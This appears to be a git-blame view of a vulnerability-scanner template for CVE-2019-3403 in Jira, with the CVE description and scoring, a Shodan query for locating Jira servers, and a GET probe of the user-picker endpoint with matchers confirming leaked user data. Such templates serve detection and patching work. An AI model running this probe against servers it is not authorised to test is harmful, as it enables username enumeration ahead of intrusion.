2021-02-16 16:55:16 +00:00
id : CVE-2019-3403
info :
name : User enumeration via an incorrect authorisation check
author : Ganofins
severity : medium
2022-04-22 10:38:41 +00:00
description : The /rest/api/2/user/picker rest resource in Jira before version 7.13.3, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1 allows remote attackers to enumerate usernames
via an incorrect authorisation check.
reference :
- https://jira.atlassian.com/browse/JRASERVER-69242
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 5.3
2021-09-10 11:26:40 +00:00
cve-id : CVE-2019-3403
cwe-id : CWE-863
2022-07-04 13:18:36 +00:00
metadata :
shodan-query : http.component:"Atlassian Jira"
2022-10-13 11:29:43 +00:00
tags : cve,cve2019,atlassian,jira,enumeration
2021-02-16 16:55:16 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/rest/api/2/user/picker?query="
matchers-condition : and
matchers :
- type : word
words :
2022-10-13 11:29:43 +00:00
- '"users":'
- '"total":'
- '"header":'
condition : and
2021-02-16 16:55:16 +00:00
- type : word
2022-10-13 11:29:43 +00:00
part : header
2021-02-16 16:55:16 +00:00
words :
2022-10-13 11:29:43 +00:00
- 'application/json'
- type : status
status :
- 200
